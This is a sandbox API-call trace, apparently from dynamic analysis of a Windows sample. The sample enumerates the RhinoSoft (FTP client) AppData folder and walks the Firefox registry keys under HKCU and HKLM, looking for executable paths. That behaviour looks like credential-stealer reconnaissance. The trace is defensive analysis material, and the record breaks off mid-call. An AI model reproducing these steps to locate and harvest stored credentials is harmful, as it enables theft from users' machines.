[0068.512] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.512] lstrlenA (lpString="\\RhinoSoft.com") returned 14 [0068.512] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x641518 [0068.512] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.512] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\RhinoSoft.com" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com" [0068.512] LocalFree (hMem=0x626a88) returned 0x0 [0068.512] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com") returned 44 [0068.512] lstrlenA (lpString="\\*.*") returned 4 [0068.512] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643aa8 [0068.512] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com" [0068.512] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com\\*.*" [0068.513] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0068.513] LocalFree (hMem=0x643aa8) returned 0x0 [0068.513] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com") returned 44 [0068.513] lstrlenA (lpString="\\*.*") returned 4 [0068.513] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643aa8 [0068.513] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com" [0068.513] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com\\*.*" [0068.513] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\RhinoSoft.com\\*.*", lpFindFileData=0x12fd66 | out: lpFindFileData=0x12fd66) returned 0xffffffff [0068.513] LocalFree (hMem=0x643aa8) returned 0x0 [0068.513] LocalFree (hMem=0x641518) returned 0x0 [0068.513] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.513] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.513] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.513] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.513] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.513] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.513] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.513] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.513] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x8) returned 0x0 [0068.513] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdc8*=0x0, cb=0x4, pcbWritten=0x12fda4 | out: pcbWritten=0x12fda4*=0x4) returned 0x0 [0068.513] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fddc*=0x24, cb=0x2, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x2) returned 0x0 [0068.513] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fde0*=0x0, cb=0x2, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x2) returned 0x0 [0068.514] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x12fde7 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0068.514] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Firefox") returned 0x0 [0068.514] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x645a90 [0068.514] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", phkResult=0x12fdc4 | out: phkResult=0x12fdc4*=0x12c) returned 0x0 [0068.514] RegEnumKeyExA (in: hKey=0x12c, dwIndex=0x0, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.514] lstrlenA (lpString="Software\\Mozilla") returned 16 [0068.514] lstrlenA (lpString="\\") returned 1 [0068.514] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x641518 [0068.514] lstrcpyA (in: lpString1=0x641518, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0068.514] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0068.514] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0068.514] lstrlenA (lpString="Firefox") returned 7 [0068.514] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x6415b8 [0068.514] lstrcpyA (in: lpString1=0x6415b8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0068.514] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0068.514] LocalFree (hMem=0x641518) returned 0x0 [0068.514] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Firefox") returned="Firefox" [0068.514] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd44 | out: phkResult=0x12fd44*=0x130) returned 0x0 [0068.514] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd3c, lpData=0x0, lpcbData=0x12fd40*=0x7 | out: lpType=0x12fd3c*=0x0, lpData=0x0, lpcbData=0x12fd40*=0x0) returned 0x2 [0068.514] RegCloseKey (hKey=0x130) returned 0x0 [0068.514] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd18 | out: phkResult=0x12fd18*=0x130) returned 0x0 [0068.514] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd10, lpData=0x0, lpcbData=0x12fd14*=0x12fcfc | out: lpType=0x12fd10*=0x0, lpData=0x0, lpcbData=0x12fd14*=0x0) returned 0x2 [0068.514] RegCloseKey (hKey=0x130) returned 0x0 [0068.514] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcec | out: phkResult=0x12fcec*=0x130) returned 0x0 [0068.514] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fce4, lpData=0x0, lpcbData=0x12fce8*=0x12fcd0 | out: lpType=0x12fce4*=0x0, lpData=0x0, lpcbData=0x12fce8*=0x0) returned 0x2 [0068.515] RegCloseKey (hKey=0x130) returned 0x0 [0068.515] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0068.515] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0068.515] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Crash Reporter", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.515] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0068.515] lstrlenA (lpString="\\") returned 1 [0068.515] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x626a88 [0068.515] lstrcpyA (in: lpString1=0x626a88, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0068.515] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0068.515] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0068.515] lstrlenA (lpString="Crash Reporter") returned 14 [0068.515] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0068.515] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0068.515] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="Crash Reporter" | out: lpString1="Software\\Mozilla\\Firefox\\Crash Reporter") returned="Software\\Mozilla\\Firefox\\Crash Reporter" [0068.515] LocalFree (hMem=0x626a88) returned 0x0 [0068.515] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\Crash Reporter", lpSrch="Firefox") returned="Firefox\\Crash Reporter" [0068.515] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0068.515] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0068.515] RegCloseKey (hKey=0x134) returned 0x0 [0068.515] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0068.515] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0068.515] RegCloseKey (hKey=0x134) returned 0x0 [0068.515] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0068.515] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0068.515] RegCloseKey (hKey=0x134) returned 0x0 [0068.515] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0068.516] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0068.516] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0068.516] RegCloseKey (hKey=0x134) returned 0x0 [0068.516] LocalFree (hMem=0x646ba0) returned 0x0 [0068.516] LocalFree (hMem=0x6292f8) returned 0x0 [0068.516] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.516] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0068.516] lstrlenA (lpString="\\") returned 1 [0068.516] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x626a88 [0068.516] lstrcpyA (in: lpString1=0x626a88, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0068.516] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0068.516] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0068.516] lstrlenA (lpString="TaskBarIDs") returned 10 [0068.516] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0068.516] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0068.516] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0068.516] LocalFree (hMem=0x626a88) returned 0x0 [0068.516] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Firefox") returned="Firefox\\TaskBarIDs" [0068.516] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0068.516] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0068.516] RegCloseKey (hKey=0x134) returned 0x0 [0068.517] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0068.517] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0068.517] RegCloseKey (hKey=0x134) returned 0x0 [0068.517] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0068.517] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0068.517] RegCloseKey (hKey=0x134) returned 0x0 [0068.517] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0068.517] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0068.517] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0068.517] RegCloseKey (hKey=0x134) returned 0x0 [0068.517] LocalFree (hMem=0x646ba0) returned 0x0 [0068.517] LocalFree (hMem=0x6292f8) returned 0x0 [0068.517] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x2, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0068.517] RegCloseKey (hKey=0x130) returned 0x0 [0068.517] LocalFree (hMem=0x646318) returned 0x0 [0068.517] LocalFree (hMem=0x6415b8) returned 0x0 [0068.517] RegEnumKeyExA (in: hKey=0x12c, dwIndex=0x1, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0068.517] RegCloseKey (hKey=0x12c) returned 0x0 [0068.517] LocalFree (hMem=0x645a90) returned 0x0 [0068.517] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Firefox") returned 0x0 [0068.517] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x645a90 [0068.517] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", phkResult=0x12fdc4 | out: phkResult=0x12fdc4*=0x12c) returned 0x0 [0068.517] RegEnumKeyExA (in: hKey=0x12c, dwIndex=0x0, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.517] lstrlenA (lpString="Software\\Mozilla") returned 16 [0068.517] lstrlenA (lpString="\\") returned 1 [0068.518] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x641518 [0068.518] lstrcpyA (in: lpString1=0x641518, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0068.518] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0068.518] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0068.518] lstrlenA (lpString="Firefox") returned 7 [0068.518] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x6415b8 [0068.518] lstrcpyA (in: lpString1=0x6415b8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0068.518] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0068.518] LocalFree (hMem=0x641518) returned 0x0 [0068.518] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Firefox") returned="Firefox" [0068.518] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd44 | out: phkResult=0x12fd44*=0x130) returned 0x0 [0068.518] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd3c, lpData=0x0, lpcbData=0x12fd40*=0x7 | out: lpType=0x12fd3c*=0x0, lpData=0x0, lpcbData=0x12fd40*=0x0) returned 0x2 [0068.518] RegCloseKey (hKey=0x130) returned 0x0 [0068.518] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd18 | out: phkResult=0x12fd18*=0x130) returned 0x0 [0068.518] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd10, lpData=0x0, lpcbData=0x12fd14*=0x12fcfc | out: lpType=0x12fd10*=0x0, lpData=0x0, lpcbData=0x12fd14*=0x0) returned 0x2 [0068.518] RegCloseKey (hKey=0x130) returned 0x0 [0068.518] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcec | out: phkResult=0x12fcec*=0x130) returned 0x0 [0068.518] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fce4, lpData=0x0, lpcbData=0x12fce8*=0x12fcd0 | out: lpType=0x12fce4*=0x0, lpData=0x0, lpcbData=0x12fce8*=0x0) returned 0x2 [0068.518] RegCloseKey (hKey=0x130) returned 0x0 [0068.518] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0068.518] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0068.518] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.518] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0068.518] lstrlenA (lpString="\\") returned 1 [0068.518] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x626a88 [0068.518] lstrcpyA (in: lpString1=0x626a88, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0068.518] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0068.518] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0068.519] lstrlenA (lpString="TaskBarIDs") returned 10 [0068.519] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0068.519] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0068.519] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0068.519] LocalFree (hMem=0x626a88) returned 0x0 [0068.519] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Firefox") returned="Firefox\\TaskBarIDs" [0068.519] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0068.519] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0068.519] RegCloseKey (hKey=0x134) returned 0x0 [0068.519] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0068.519] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0068.519] RegCloseKey (hKey=0x134) returned 0x0 [0068.519] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0068.519] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0068.519] RegCloseKey (hKey=0x134) returned 0x0 [0068.519] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0068.519] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0068.519] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0068.519] RegCloseKey (hKey=0x134) returned 0x0 [0068.519] LocalFree (hMem=0x646ba0) returned 0x0 [0068.519] LocalFree (hMem=0x6292f8) returned 0x0 [0068.519] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0068.519] RegCloseKey (hKey=0x130) returned 0x0 [0068.519] LocalFree (hMem=0x646318) returned 0x0 [0068.519] LocalFree (hMem=0x6415b8) returned 0x0 [0068.519] RegEnumKeyExA (in: hKey=0x12c, dwIndex=0x1, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MaintenanceService", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.520] lstrlenA (lpString="Software\\Mozilla") returned 16 [0068.520] lstrlenA (lpString="\\") returned 1 [0068.520] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x641518 [0068.520] lstrcpyA (in: lpString1=0x641518, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0068.520] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0068.520] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0068.520] lstrlenA (lpString="MaintenanceService") returned 18 [0068.520] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0068.520] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0068.520] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="MaintenanceService" | out: lpString1="Software\\Mozilla\\MaintenanceService") returned="Software\\Mozilla\\MaintenanceService" [0068.520] LocalFree (hMem=0x641518) returned 0x0 [0068.520] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService", lpSrch="Firefox") returned 0x0 [0068.520] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0068.520] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0068.520] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f9b87e891978e3145f0f8f9953eadc00", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.520] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService") returned 35 [0068.520] lstrlenA (lpString="\\") returned 1 [0068.520] LocalAlloc (uFlags=0x40, 